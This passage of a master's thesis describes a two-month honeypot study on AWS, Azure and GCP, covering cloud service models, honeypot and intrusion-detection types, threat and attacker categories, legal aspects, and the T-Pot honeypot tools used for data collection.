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Zusammenfassung

Seit einigen Jahren verlagern Unternehmen ihre IT-Infrastruktur von privaten Re-
chenzentren zu spezialisierten Anbietern von Public Clouds. Während das bedeutende
finanzielle Vorteile bietet, sind solche Shared Infrastructures schwierig zu verwalten
und leiden erheblich unter den Folgen von Datenpannen und Sicherheitsvorfällen, da
eine beträchtliche Menge an privaten und persönlichen Daten in der Cloud gespeichert
werden.

Um mehr über Angreifer, deren Beweggründe und Vorgehen zu erfahren, werden
Honeypots eingesetzt. Diese Systeme simulieren echte Geräte mit wertvollen Daten,
sodass Angreifer damit interagieren. Für diese Masterarbeit wurden Honeypots in
Public Clouds von AWS, Azure und GCP aufgesetzt. Diese täuschen verschiedene
bekannte Services vor. Über einen Zeitraum von zwei Monaten wurden Logs zur
weiteren Analyse erfasst, wodurch über 170 Millionen Einträge entstanden sind.

Die Analyse der Daten zeigt, dass der Großteil der Angriffe aus China, USA und Rus-
sland stammen und mehrheitlich VNC- und SSH-Services betreffen. Oft werden diese
Angriffe automatisiert und wiederholt durchgeführt. So werden die IP-Adressbereiche
der jeweiligen Anbieter kontinuierlich auf ungeschützte oder verwundbare Dienste
abgesucht. Auch lassen sich die meisten Schadprogramme bei einem Angriff mit
aktueller Antiviren-Software erkennen. Die vorgestellten Methoden und die daraus
entstandene Datenbank bieten ein großes Potenzial für tiefergehende Forschung in
diesem Bereich.
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Abstract

For years a recent trend for companies has been to move IT infrastructure from
private data centers to specialized public cloud providers. While there are significant
advantages from a financial standpoint, such shared infrastructures are hard to
manage and suffer considerably from data breaches and security incidents, as a
considerable amount of private and personal data is stored in clouds.

To learn more about attackers, their motivations and techniques, honeypots are
used. These systems allow to monitor attacks by pretending to be real machines
with valuable data, such that attackers interact with them. For this master’s thesis,
honeypots were set up on several public clouds of AWS, Azure and GCP, simulating
different popular services. Over a period of two months, log data was collected for
further analysis, resulting in over 170 million log entries.

The analysis reveals that the majority of attacks originate in China, USA and Russia
and target mostly VNC and SSH services. Often the attacks are automated and
repeated over time, and IP ranges of cloud providers are constantly scanned for
exposed or vulnerable services. Also, most malware deployed during an attack is
easily detectable by up-to-date anti-virus solutions. The presented methods and the
resulting database offers great potential for more in-depth research of the field.
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1
Introduction

This chapter explains the motivation and goals behind this thesis. Furthermore,
related research is presented within the field of study and the structure of the thesis
is given.

1.1. Motivation

For years, the IT industry has observed an emerging trend for companies to move IT
infrastructure from private data centers to specialized public cloud providers. The
introduction of Cloud Computing has sparked a large number of services, ranging
from software hosting to complete infrastructure offerings. In 2016 the Ponemon
Institute estimated that over 40% of business-critical applications and over 33% of
business information in North America are stored in clouds (Ponemon Institute LLC
2016b). For Europe, it is 27% business applications and 25% of business information
stored on cloud-based servers (Ponemon Institute LLC 2016a). A company that
wants to operate a website or store customer data does not need to provide the
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CHAPTER 1. INTRODUCTION

hardware anymore, as professional vendors take over the task and host everything
on their own server infrastructure. These vendors still need to deal with the same
requirements of such a shared infrastructure as in the past: availability, scalability
and security. A threat that targets any of these requirements could affect millions
of individuals, causing damage to customers, end users and the provider. Data
breaches in the cloud affect a considerable amount of private and personal data
stored in clouds, from credit card information to trade secrets, but also intimate
data like private photos and videos, contact lists or messages end up on the same
infrastructure. Therefore, cloud providers have the responsibility to protect their
infrastructure in the best way possible, but they also need to comply with numerous
legal requirements regarding data protection and privacy.

A recurring problem in the cyber-security field is that countermeasures and protections
become outdated quickly, forcing the industry into a never-ending arms race between
security professionals and emerging threats from criminals. Most protection measures
are based on known threats, the most prominent example being anti-virus solutions,
which use precompiled fingerprints of malware samples. But while this was sufficient
in times where most applications ran locally, today’s applications run on distributed
systems all over the world. Through the large amount of services on the web, one
vulnerability can be used to attack multiple targets at once, affecting far more users
than before.

In this work, the focus is on monitoring and analyzing both known and new attacks.
While attacks on individuals or industrial systems are usually tailored for the targets,
attacks on distributed systems like clouds are generic, automated and more complex.
Most big corporations migrated to cloud services in the past, resulting in an elevated
number of enticing targets for attackers. There have been several data breaches
involving public clouds in the past few years, the victims being telecommunications
providers like Verizon (Newman 2017), consumer services like Uber (Newcomer 2017)
or even intelligence services like the NSA (O’Sullivan 2017). These breaches are
often caused by misconfigurations of access policies and permissions, which happen
because the environment of cloud tools is vast and complex.

Knowing that such flaws exist, criminals use automated network scanners to look for
vulnerable servers. It is therefore important to monitor several public clouds at the
same time to identify current attack waves. These monitors also need to collectively
share the data with each other, so related attack patterns can be recognized. The
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CHAPTER 1. INTRODUCTION

faster the detection of an attack, the faster can incident response teams react,
defer attacks and secure their data and networks. To preemptively protect against
such threats, honeypot systems are used. Honeypots are systems that look like
real production systems. Once an intruder is tricked into interacting with it, the
system collects valuable records about the interaction, which are later used by
security professionals to learn the attacker’s methodology and develop more effective
countermeasures.

1.2. Aim and Scope

The main goal of this thesis is to learn how criminals inspect and interact with
systems. In the long run, an always up-to-date knowledge base containing the current
intrusion techniques is required, to improve existing and future warning systems.
This knowledge is acquired through honeypot systems, which emulate a single service
or a complete network in order to prompt an interaction by a potential attacker.
In the experiment of this work, a software package containing multiple honeypots
is deployed on the public clouds of Amazon Web Services (AWS), Microsoft Azure
and Google Cloud Platform (GCP). Moreover, the attempt is made to identify the
individual behind an attack. To achieve this, behavior of the attacker and objectives
of attacks are examined and combined with the information gathered through the
log data analysis.

To sum up, the contributions in this empirical study are as follows:

• Through the collection of log data over a period of two months, a massive
database is created. This database contains connection metadata, such as IP
addresses, and the actual content of the interaction as application logs.

• The raw data is searched and analyzed in order to extract interaction patterns.
Also, statistics are compiled into empirical evidence, which is compared to the
prevailing research in the field.

The results of the analysis and the consequent knowledge may help future Intrusion
Detection Systems (IDSs) create better heuristics and improve the overall security of
clouds.

3
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1.3. Related Work

In this section, related research is evaluated and discussed. Honeypots have been used
extensively to research network traffic and malware. The majority of papers in the
field involve honeypot software operating on regular physical hardware. Alternatively,
the implementation of honeypots is discussed for special use cases.

Brown et al. (2012) published one of the first papers on the security of cloud
infrastructures. In their work, the authors deploy honeypots on cloud infrastructure
of Amazon, Microsoft, IBM and ElasticHosts, analyzing the incoming traffic. With a
total of 42 instances, they covered various different regions of the world. Unfortunately,
they did not compare performances and log data between these instances, which is
a shortcoming that this thesis approaches in its analysis. Also, the paper does not
attempt to interpret the results of the analysis, while this thesis examines different
data sources in order to learn new insights about the attackers and the methods.

The work of Wählisch et al. (2013) examines the attack vectors of mobile devices,
specifically for attackers targeting Android and iOS devices. The authors set up
a common PC with four honeypots that emulate a mobile device. By comparing
the resulting observations with regular wired Internet traffic, they did not found “a
significant amount of attacks specific to mobiles”, concluding that attackers do not
notice or care about specifics of targeted systems.

Multiple studies set up different honeypot systems on local or virtual systems to
analyze SSH traffic and malware (Sochor and Zuzcak 2014; Kheirkhah et al. 2013).
A number of publications have used honeypots to detect botnets, either on physical
hosts (Challoo and Kotapalli 2011) or on cloud infrastructure (Chinn 2015). The
latter work uses AWS to specifically detect infected Internet of Things (IoT) devices.
The book of Provos and Holz (2008) dedicates a whole chapter to botnet tracking
and is one of the most relevant publications in the field of honeypots.

4
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1.4. Structure

The structure of this thesis is as follows:

• In chapter 2 the necessary background knowledge is introduced, explaining
cloud computing, honeypots and IDS.

• The subsequent chapter 3 presents the actual problem and formulates research
questions that are going to be elaborated.

• The data collection process and the setup of the experiment is explained in
chapter 4. Equally important, the different honeypot tools used during the
experiment are presented.

• The final analysis of the dataset is done in chapter 5, focusing on how to
structure, compile and analyze the honeypot logs. Likewise, different methods
for analyzing and extracting valuable information from the massive database
are discussed. The results are accompanied by appropriate graphs and data
tables, where the most relevant visualizations are included in the chapter.
Supplementary results are found in Appendix B.

• Finally, chapter 6 summarizes the results and gives an outlook over the remain-
ing challenges and possibilities of this research.

1.5. Acknowledgments

I would first like to thank my thesis advisor Dr.-Ing. Tilo Müller who supported
me from the beginning and allowed me to focus on specific goals that I desired to
elaborate. A big thank you to the Chair for IT Security Infrastructures and especially
to Prof. Dr.-Ing. Felix Freiling for financing the operation of the honeypots. The
data collection and the high quality results of this thesis would not have been possible
without this support. Also, thanks to Florian Räder for procuring me the hardware
necessary to analyze the massive amount of log data.

Finally, I must express my profound gratitude to my partner, for providing me with
the emotional support and continuous encouragement throughout my years of study
and through the process of researching and writing this thesis. This accomplishment
would not have been possible without you.
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2
Background

While one can simply use ready-made software to detect and analyze threats on the
Internet, it is equally important to grasp the inner workings of these tools. Therefore,
the following chapter provides the necessary background information to understand
what distinguishes cloud services from regular server infrastructure. Furthermore,
the concept of honeypots is introduced, which is the basis of the majority of tools in
the experiment. The last part presents the current state of intrusion detection, as
opposed to honeypots, with a focus on advantages and disadvantages.

2.1. Cloud Services

The term Cloud Computing has many definitions and includes a number of different
concepts, including shared computation and storage, easily scalable infrastructure
and on-demand resource allocation. While distributed networks have existed for
many years, cloud computing adds a number of new challenges and is therefore
a popular research field. In this thesis, the focus is on Public Cloud providers,
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which offer cloud infrastructure, management and resources to the general public,
as opposed to private data centers for companies, which are called private clouds.
The business model of these providers is simple: as a customer, you only pay for the
resources you use, “eliminating the need for cloud computing users to plan far ahead”
(Armbrust et al. 2010).

While the security of cloud infrastructures is an interesting topic by itself, the
customer-facing view is more relevant for this work, as the honeypot software is
deployed directly on the cloud infrastructure to mimic exposed cloud services and
investigate the dangers around them. The National Institute of Standards and
Technology (NIST) distinguishes three service models of cloud computing (Mell and
Grance 2010):

• Software as a Service (SaaS) describes applications that run on cloud infras-
tructures and can be accessed by the user through a web client or an API.
The underlying system and the application is managed and controlled by the
provider.

• Platform as a Service (PaaS) is defined by the ability of the customer to deploy
and run customer-owned applications on the system. While the customer can
deploy and configure the application freely, the system is still controlled by the
provider, together with resources, operating system and the hardware.

• Infrastructure as a Service (IaaS) gives the customer full control over the
operating system, storage, the applications and some network configurations
(e.g. firewalls, public IP). The fundamental resources, such as computing power
or main memory, are assigned by the provider upon customer request.

Since most of these service models use shared resources, two different customers may
share the same physical machine. To prevent the access from one environment to the
other, the systems use strongly separated virtualized environments. The separation
can be enforced in different ways, including hardware, temporal or cryptographic
separation (C. P. Pfleeger and S. L. Pfleeger 2012, p.204-205).

2.2. Honeypots

Honeypots are decoy systems, as they attract attackers and trick them to interact
with them. Provos and Holz (2008, p. 7) define them as follows:

8



CHAPTER 2. BACKGROUND

A honeypot is a closely monitored computing resource that we want to
be probed, attacked or compromised.

Honeypots are systems that have no economic value added for a business. They
are not connected to any production systems and are merely part of the underlying
company network. Any user would need to explicitly search for such systems. This
means that, by definition, any connection to these systems is considered suspicious.
In general, this leads to very low false-positive detection rates, as no legitimate traffic
is supposed to be captured by honeypots. Also, honeypots can help mislead attackers,
making them waste time on examining a dummy system instead of attacking more
valuable production systems. During the interaction, no real system is violated and a
response team has enough time to take appropriate countermeasures. If the threat is
new and unknown to current IDS and anti-malware solutions, forensic investigators
can analyze and learn how a potential vulnerability is exploited through the log data
collected during the interaction. This is valuable information that can be used to
create new threat signatures as used by IDS and firewalls.

There are various types of honeypots, with different capabilities, requirements and
outputs. While there are many classifications of such systems, the following three
are the most commonly used:

• Low- and High-Interaction honeypots (Mokube and Adams 2007)

• Server- and Client-based honeypots (Seifert, Welch, Komisarczuk, et al. 2007)

• Physical and Virtual honeypots (Provos 2004)

The overview of different types of honeypots is given in the following sections of this
chapter.

2.2.1. High- and Low-Interaction

Honeypots can be grouped based on the interaction between the attacker and the
system. In their paper, Mokube and Adams (2007) define three categories: low-,
medium- and high-interaction honeypots.

Low-interaction honeypots simulate a specific service, a file system or an interface
to a simulated environment. They provide only limited access to the operating system
or the physical hardware and implement the minimal number of protocols such that
an attacker can connect and communicate with it. By design, it only captures the

9



2.2. HONEYPOTS

interaction of an attacker with the service. Even with the limited functionality, they
are often sufficient to analyze how specific protocols are exploited. Furthermore,
they are easy to deploy and set up, since they often do not require much processing
power.

In comparison, a high-interaction honeypot consists of an actual operating system
and existing services. The idea is to provide an attacker with a real system and
observe the interaction with it. Since high-interaction honeypot systems run actual
software, any bugs and vulnerabilities in the operating system or in any application
can be used to compromise the system. This can lead to an attacker gathering
full access to the machine, which can then be used to launch attacks against other
systems. Therefore, such honeypots require safe procedures to restore the access
after a takeover.

In general, this approach yields more relevant data for analysis, as a successful attack
against the honeypot corresponds to an actual flaw in production systems. On the
other side, they are more difficult to set up, require a significant amount of processing
power and constant monitoring (Mokube and Adams 2007, p. 3).

Medium-interaction honeypots are conceptually located in-between the above
systems and are not always considered an own category in related works. Usually,
they do not fully simulate an operating system, but they implement an application
layer such that not only connections are logged, but also any further interaction
with the system is recorded. Known medium-interaction honeypots are mwcollectd
(Wicherski 2010), Nepenthes (Baecher et al. 2006) and Cowrie, the latter being
described in chapter 4.

2.2.2. Server- and Client-based

The distinction between server- and client-based honeypots is essential, as they
describe two very different interaction models and use cases. Server honeypots have
the goal to attract attackers, passively waiting for connections. Because of this
functionality, any connection to them can be considered suspicious. This coincides
with the “traditional” definition of honeypots given above.

On the other side, client honeypots simulate a client, usually a web browser, and
actively connect to a server and check for suspicious activities. In comparison to
server honeypots, they need to define what is considered suspicious traffic. This is
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achieved using “static analysis, such as signature matching and/or heuristics” (Seifert,
Welch, Komisarczuk, et al. 2007, p. 4).

2.2.3. Physical vs. Virtual

The third classification of honeypots is divided into physical and virtual honeypots.
The former type runs on a physical machine, which offers more realistic attacks on
real hardware. On the other side, they are harder and more expensive to deploy,
because for any new honeypot, an additional machine is required. Thus, physical
honeypots do not scale, need to be managed manually and thereby have only limited
use for large-scale research studies. Nevertheless, physical honeypot systems are still
used for special use cases, such as HoneyDroid, a honeypot that runs on Android
phones (Mulliner, Liebergeld, and Lange 2011).

Since virtual environments have become more common and computation more
powerful, most honeypots nowadays run on virtual machines. The main advantages
are easier deployment and higher scalability. One physical machine can run multiple
virtual machines that in turn deploy multiple honeypots. Also, the majority of
machines that are used for cloud computing are virtualized, separating cloud users
and preventing attacks between them, which is “the primary security mechanism in
today’s clouds” (Armbrust et al. 2010, p. 6).

2.3. Intrusion Detection

IDS monitor traffic or computer activities to detect suspicious behavior inside a
network or a machine. Most IDS are passive, meaning that they only analyze the
data, while firewalls and antivirus solutions also block traffic or delete malware. In
order to understand the advantage of using honeypots over conventional IDS, an
overview of the capabilities and limitations of such systems is required.

In general, IDS rely on knowledge-based techniques to detect known attacks, and on
behavior-based heuristics for unknown threats. There are different approaches to
intrusion detection, so this thesis will focus on those used in cloud computing. There
are four major types (Modi et al. 2013):

• A Host-based Intrusion Detection System (HIDS) monitors a specific host
machine, detecting intrusions based on system logs, network activity and file
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system access. The efficiency of HIDS mainly depends on the system it is
deployed on.

• A Network-based Intrusion Detection System (NIDS) can detect port scans,
Denial-of-Service (DoS) attacks or brute-force attempts, as they monitor the
network traffic between clients and the system to protect. Since it operates on
the network and transport layer, it can examine single packets. On the other
side, it is easily defeated by encrypted communication, which it is unable to
analyze.

• Hypervisor-based IDSs monitor the traffic between different VMs and the hy-
pervisor. In general, a hypervisor is responsible for managing virtual machines.
Since cloud environments are based on virtualized machines and resources,
hypervisor IDS are an increasingly relevant research topic for cloud security.
A technique related to this type is called “VM Introspection” (Garfinkel and
Rosenblum 2003).

• Distributed IDS describe a combination of the above IDS types that commu-
nicate with each other. They combine the strengths of NIDS and HIDS and
require a more complex deployment.

While HIDS can only analyze the logs generated by the applications and the operating
system on a host, honeypots have access to the detailed interaction between attacker
and service, therefore collecting more relevant data and yielding better detection
rates.

Regarding network-based detection, NIDS “suffer from high false positive rates” and
an “increasing number of protocols that employ encryption”, according to Provos
(2004). An example is Transport Layer Security (TLS), the encryption standard
used by the web for secure HTTP connections. In this case, the traffic is encrypted
on the transport layer, until it is decrypted by the browser. A honeypot can easily
implement TLS functionality to simulate a secure connection and still retrieve the
raw packets received by an attacker. Therefore, most limitations of NIDS do not
apply to honeypots, as they run on the application layer and implement the necessary
protocols.
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3
Problem Statement

The following chapter will introduce some considerations regarding the experimental
setup, any assumptions made beforehand and potential issues arising during the
execution. It is required that not only the targeted services are considered, but also
who the potential attackers are and what their goals might be.

3.1. Attack Types

For traditional networks, there is a variety of potential events that threaten the
security of the system. Security is defined by three fundamental concepts, called CIA
triad: confidentiality, integrity and availability. This means that a specific threat can
cause damage to a system by affecting one or multiple of these concepts. A threat
can be malicious, as it is the case for attackers that try to compromise the system,
or it can be unplanned, like a system failure or the accidental exposure of sensitive
data by a careless employee.

There are some limiting factors in the assumptions of this work. First, it focuses
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on the malicious, intentional attacks on cloud infrastructures, from the perspective
of a cloud customer. Therefore, only a subset of practical attacks can be expected
on such systems. Second, since only low-interaction honeypots are used during the
experiment, only threats against the smiulated services and protocols are considered.
The honeypots and helper tools (see chapter 4) operate on the Transport and the
Application layer of the Open Systems Interconnection (OSI) model. Consequently,
common network layer threats like port scans, DoS and Man-In-The-Middle (MITM)
attacks are not detected or examined.

A number of frequently deployed services and protocols, used on the Internet, are
evaluated, including:

• TCP and UDP

• HTTP, HTTPS with TLS

• Secure Shell (SSH)

• File Transfer Protocol (FTP)

• Simple Mail Transfer Protocol (SMTP)

• Remote Desktop Protocol (RDP)

• Virtual Network Computing (VNC)

• Microsoft SQL Server (MSSQL) and MySQL

• Server Message Block (SMB)

Some of these protocols can not be monitored by traditional IDS, as they either use
encryption or, in the case of SSH and VNC, use tunneling to hide the traffic between
an attacker and the system, making the inspection of packets impossible.

3.2. Threat De�nition

Using the definitions of Howard and Longstaff (1998, p. 11), attacks are defined as
“a series of steps taken by an attacker to achieve an unauthorized result”. Based
on this definition, incidents are “a group of attacks that can be distinguished from
other attacks because of the distinctiveness of the attackers, attacks, objectives,
sites, and timing”. This distinction is important, as the honeypots will catch a
number of single attacks, which will be grouped into incidents during analysis. By
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doing this, the overall amount of data to analyze is reduced significantly, while the
information content is increased, resulting in detailed reports and empirical evicence.
The following sections describe the threats that will be considered for the experiment.

3.2.1. Service Exploitation

The primary target of intruders are the exposed services of a system. Through port
scanner software, an attacker can learn about the applications running on the server.
The same software is then used to analyze OS version, application version and the
protocol that is used to communicate. Combined with a vulnerability database, the
attacker can try to exploit outdated versions, or try to find other vulnerabilities, such
as weak passwords. Therefore, unsafe services can provide first access to a system,
and need to be secured first.

During the experiment, the different services described in section 3.1 are simulated
by honeypots, offering a seemingly unprotected access to the system. By monitoring
the access to the services, both new and unknown vulnerabilities can be discovered.

3.2.2. Malware Deployment

Once inside a system, attackers could upload additional software onto the system.
There are multiple reasons for doing so: They could try to escalate their privileges
to achieve full control over the OS, or they could deploy malware that tries to infect
other users on the system. Often tools or techniques are used to erase all traces of
an intrusion, such that the attack goes unnoticed.

The honeypots save any file transferred to the system into a quarantined area that is
unaccessible to the attacker, such that it can be analyzed later on. For malware and
unknown binaries, there is the possibility to upload them to a service like VirusTotal1,
which runs the submitted file through multiple antivirus engines. Alternatively, the
binaries can be analyzed manually using static and dynamic analysis on a secured
system.

1https://www.virustotal.com/
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3.2.3. Botnet Tracking

Although it is related to malware, botnets are a special kind of software that aims at
behaving silently until a Command&Control (C&C) server sends instructions to it.
In some cases, the binaries deployed on the system contain clues about the author or
the attacker. When the information from a specific binary is extracted, the C&C
server can be identified, monitored and stopped in an automated way (Freiling, Holz,
and Wicherski 2005). Through the use of multiple systems distributed all over the
world, one can observe how botnets are deployed in detail.

3.2.4. Data Breach

Another common threat is the theft of sensible data. Often attackers target databases
to get access to login credentials, confidential documents or trade secrets. The goals
are to either sell the data (such as credit card information), to expose it to the public
or to blackmail the company suffering the breach, depending on the attacker type.
Such data breaches are hard to detect and once an attacker has copied the data,
it is nearly impossible to prevent further damages. Data breaches can happen in
consequence of misconfigured firewalls or through insider attacks.

3.2.5. Denial of Service

A DoS attack targets a specific service and aims at crashing or delaying the operation
of it. The malfunction or interruption of a service can cause financial damage to the
service provider, but also severe damage to the user relying on the service. The used
honeypots can not reliably detect external DoS attacks, but they can catch insider
attacks, where an attacker runs a command with the goal of depleting the system’s
resources.

3.2.6. Vandalism

Vandalism is a disregarded threat, but can cause substantial damage to a service
provider. Different from DoS, an attacker deletes files, databases or backups. The
goal is not only to interrupt the service, but to destroy any chance for recovery. Since
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the user has no physical access to the hardware, the attack is usually detectable by
monitoring the commands entered through a remote connection.

3.3. Attackers and Objectives

While looking at how the honeypots are breached, one goal of this thesis is to learn
about the attackers behind the process. According to Howard and Longstaff (1998),
there are seven categories of attackers with different goals (see Table 3.1). An attacker
can be assigned to one or more categories.

Hackers
Attackers who attack computers for challenge, status or the
thrill of obtaining access.

Spies Attackers who attack computers for information to be used
for political gain.

Terrorists
Attackers who attack computers to cause fear, for political
gain.

Corporate raiders Employees (attackers) who attack competitor’s computers for
financial gain.

Professional criminals Attackers who attack computers for personal financial gain.

Vandals Attackers who attack computers to cause damage.

Voyeur Attackers who attack computers for the thrill of obtaining
sensitive information.

Table 3.1.: Attacker types with description of goals (Howard and Longstaff 1998, p. 15)

Since the research honeypots of the experiment are not connected to any real system
and do not provide any significant value to an intruder, one could exclude Spies
and Corporate raiders from the list of potential attackers. For the experiment, it
is expected that attackers try to violate the system to primarily gain full control
over the server. The subsequent actions after a successful compromise determine
which attacker type is assigned to the incident. The following possible actions are
particularly revealing, based on the work of Ramsbrock, Berthier, and Cukier (2007):

• No operation or information gathering over the system’s software suggests a
Hacker type that has no specific financial or political goal.

• Installing new software (e.g. through downloaded binaries) can indicate that,
depending on the software, financial gain is a primary goal of the attack. This
could be achieved either through full control of the system (privilege escalation),
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by adding the system to a botnet, or through ransomware.

• The modification of files, websites or database entries to include images, texts
or other media can indicate a political or ideological interest.

• Deployment and execution of malware that breaks the system or deletes files
could be an clue that a Vandal broke into the honeypot.

Note that these are hypotheses of which actions an attacker could perform, and no
research could be found that covered which actions belong to which category.

3.4. Reporting

In general, the setup of honeypots is straight-forward: Once all the software tools
are installed on the physical or virtual machine, they start logging their results to
log files on the system. When using high-interaction honeypots, these logs could be
accessible to the attacker, since they usually operate on the real system. But when
using low-interaction honeypots as in this experiment, no real access to the system
is possible. Therefore an attacker should never be able to access or manipulate the
logs.

There is only one threat that endangers the honeypot systems in the experiment:
System failures and unexpected downtimes. By having both virtualized file systems
and hardware, a crash or malfunction could potentially wipe all the data, including
the log files. With a backup and recovery solution, or additional redundant systems,
the system can be secured against unexpected failures. It is also possible that the
honeypots experience high load, either intentionally or through targeted Distributed
Denial-of-Service (DDoS) attacks. A solution to this would be to upgrade the
subscription to the cloud providers and request more bandwidth and resources, which
would in turn overrun the budget of this thesis.

3.5. Legal Aspects

It seems important to include this section when dealing with data collection of
unknown actors. Since the public IP ranges of cloud providers are known2, there is

2IP ranges of AWS: https://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html
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no control over who can connect to our system, besides any firewall settings. Also,
by operating multiple machines all over the world (see section 4.2), one may need
to abide by the laws of the respective country. In general, the privacy laws of the
country in which the machine is located are applied.

The issues that can arise from the operation of honeypots are described by Mokube
and Adams (2007, pp. 324–325):

• Entrapment – Attackers may claim that they were tricked into breaking into
the system, usually by law enforcement officers

• Liability – Attackers may misuse the honeypot to harm others

• Privacy – Laws exist that might restrict the right to monitor users on owned
systems

The “Entrapment” use case is irrelevant for this thesis, as the purpose of the data is
to learn from potential criminal activity and attackers will not be prosecuted. While
Provos and Holz (2008, p. 12) describe taking control of the honeypot and committing
crimes, the experimental setup in this thesis offers no possibility to execute code or
take over a system (excluding potential vulnerabilities in the honeypot software).
Therefore, the second scenario is also improbable.

The privacy issue with honeypots is apparent. By collecting traffic data, login data
and any other interactions with the system, one can also gather valuable private
information, such as IP addresses, timestamps of the connections and even geographic
locations. Also, under EU law, IP addresses are personal data, therefore special
precautions need to be taken. The work of Sokol, Míšek, and Husák (2017) revolves
around legal issues with honeypots in the EU. They argue that, while there is a
difference between IP adresses and connection details, which is transactional data,
and the actual content of the communication, the content data, both types should
be considered personal data under EU law. An operator of honeypots should have
a “relevant purpose” to collect such data, which is “the research and prevention of
future threats” for research honeypots like the ones used for this thesis. But it is
an issue if there is an intention to publish the dataset. In this case, the authors
recommend the anonymization of results, since they contain personal information
that is protected under specific laws.

Ultimately, there is no definite answer to the legality of honeypots. It depends on
several factors:
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• What is the purpose of the collection?

• How is the data used?

• Does the user consent to the collection?

Since there are no active users of the system, no private user data is potentially
exposed. Also, as the attackers actively initiate a connection to the honeypots, and
the data is used for research purposes, there should be no major issue in collecting
and evaluating the data. In this thesis, there are some extracts from the results,
which may contain IP addresses or other identifiable data. These shall be considered
legal citations from a research dataset that are required to understand the analysis.
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4
Data Collection

This chapter describes the software used to collect the data as well as the general setup
and architecture of the network. Moreover, the services covered by the honeypots
are described in more detail, giving examples of the expected attack pattern and the
output.

4.1. Evaluation of Deployed Honeypots and Tools

The servers for the experiment run different honeypot tools to simulate a wide range
of services. To facilitate the setup of these tools, a preconfigured software package is
used.

The Deutsche Telekom AG (DTAG) Community Honeypot Project1 is an initiative
started in 2010. The long-term objective of the project is to deploy and operate
multiple honeypots around the world. With T-Pot, developers of the project created
a software package based on Linux Ubuntu that offers a collection of preconfigured

1http://dtag-dev-sec.github.io/
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honeypots (Deutsche Telekom AG 2018). Through various scripts and the use of the
container technology Docker, the honeypots are deployed in separate environments
on the system, but run on the same network interface. In addition to the honeypots,
T-Pot incorporates an IDS and allows direct access to the machine over SSH.

As T-Pot works out-of-the-box, it is especially suited to be deployed on multiple
machines. Although the standard configuration is enough for the experiment, some
configuration was needed to optimize the execution of all softwares. Furthermore,
unwanted honeypots and community features, such as data sharing, were deactivated.
The following sections describe the general functionality of the included honeypots
and discusses the capabilities and limitations.

4.1.1. Dionaea

Dionaea is a low-interaction honeypot which aims at collecting malware samples
(DinoTools 2018). It is a successor and an improvement over Nepenthes (Baecher
et al. 2006), which was created by the same authors. It is designed to be easily
extensible through Python scripts and simulates vulnerabilities in different protocols
like FTP, SMB or SQL. These protocols are often used by malware samples to spread
copies of themselves to other systems. The tool can detect shellcode by emulating
the code and therefore also detects previously unknown threats. Also, it allows to
submit any captured malware to the VirusTotal service for further analysis. Through
the open-source nature of the software and its General Public License (GPL), the
functionality can be easily extended, overcoming any limitations.

4.1.2. Cowrie

Cowrie is a medium-interaction honeypot written in Python that implements the
Telnet and SSH services (Oosterhof 2018). It is a successor to Kippo , a medium-
interaction honeypot written in Python (Tamminen 2018). The software focuses on
brute-force attacks against SSH and the Telnet protocol, but also uses a fake file
system and a simulated terminal service to trick an attacker into interacting with
the system. Thus, the honeypot logs the interaction happening after a supposedly
successful compromise, which is valuable information to understand an attacker’s
behavior. The software simulates a number of commands like cat to view file contents,
or wget to download files. Files acquired or modified using these commands are also
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collected to a folder outside the attacker’s session, such that they can be further
analyzed.

While Cowrie is very powerful in its functionality, the default configuration is kept
minimal, so attackers should easily notice that they are interacting with a fake
system. However, users can add their own content to the file system and extend the
command list, such that the honeypot becomes nearly indistinguishable from a real
system.

4.1.3. Honeytrap

Honeytrap is a low-interaction honeypot written in C which monitors attacks to TCP
or UDP services (Werner 2007). While it is not actively developed anymore, it is
still used because of its dynamic server concept. The approach is as follows: The
software runs as a daemon and monitors the network traffic for incoming packets.
Whenever such a packet is detected, a new process is spawned that listens at the
specified TCP or UDP port. The traffic is recorded and can be analyzed by plugins.
Also, the traffic can be redirected to another system, e.g. a specific honeypot.

For the honeypot experiment, Honeytrap acts as a catch-all for any port or service
that is not covered by the other honeypots, such that attacks on unexpected or
unused ports are also captured. A major limitation of the honeypot is that it does
not emulate any real service behavior, which results in easy detection by an attacker.

4.1.4. Glastopf

The Glastopf honeypot focuses on attacks targeting web applications (Rist et al.
2010). It runs as a vulnerable web server and logs any accesses and HTTP requests
to it. The software also includes a vulnerability detection, which uses a database of
known attack types to identify actual attacks. Once an attack type is detected, the
server tries to send a response that matches what the attacker would expect.

For example, Glastopf analyzes Remote File Inclusion (RFI) and Local File Inclusion
(LFI) attacks and tries to extract strings from the included files that it puts into a
response, such that the attacker believes the attack was successful. Also, the authors
claim that since the vulnerability emulation uses types instead of specific patterns, it
can easily detect unknown attacks of the same type. The functionality is based on

23



4.1. EVALUATION OF DEPLOYED HONEYPOTS AND TOOLS

different plugins that need to be configured, which is a rather complex task on its
own.

Glastopf, which is released under GPL version 3, is still maintained by its devel-
opers, but a successor named SNARE (MushMush Foundation 2018) is already in
development.

4.1.5. Mailoney

Mailoney handles mail traffic and simulates an SMTP server (Edmunds 2018). The
honeypot, written in Python, implements a simple mail server that logs both login
credentials and email content that is sent to it. Since it emulates only a small subset
of SMTP commands, it is easy to detect by a physical attacker. As a result, the
tool produces two log files: one for the commands used, which can uncover potential
vulnerabilities in mail servers, and another which contains the full email contents,
which reveals targets of spam and phishing campaigns.

4.1.6. RDPY

As the name already implies, RDPY is a software library that implements Microsoft’s
RDP in Python (Peyrefitte 2018). The project is divided into different binaries,
with both a client and a server honeypot, as well as several helper tools. For the
experimental setup, the relevant module is rdpy-rdphoneypot, which emulates a
Windows server with login dialog. The honeypot collects login data, but is also able
to record the RDP sessions in order to replay them later.

4.1.7. Vnclowpot

The tool vnclowplot is a low-interaction VNC server honeypot (McMurray 2018). It
listens for VNC connections and logs any authentication attempts. Likewise, VNC
handshakes are collected, which contain the used authentication passwords in a
hashed format. These handshake hashes can be cracked with a brute-force software
to obtain the used credentials.
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4.1.8. Suricata

As opposed to the tools above, Suricata is not a honeypot, but an open-source NIDS
and Network Security Monitoring engine (Open Information Security Foundation
2018). Similar to most IDS, it collects and analyzes network traffic, using signature-
based algorithms to detect malicious behavior and known threats. Of course, it
includes several preconfigured signature and anomaly databases, as well as rulesets
on which packets to analyze.

It is included in the T-Pot framework for network activities that may not be catched
by the other honeypots. Whenever a suspicious packet is found, all details of the
attack together with the description of the signature is saved. As an example, if an
attacker tries to exploit a web vulnerability, Suricata outputs the actual payload of
the attack, the category (e.g. “Web Application Attack”), the name of the signature
that was triggered (e.g. “ET ATTACK_RESPONSE Oracle error in HTTP response,
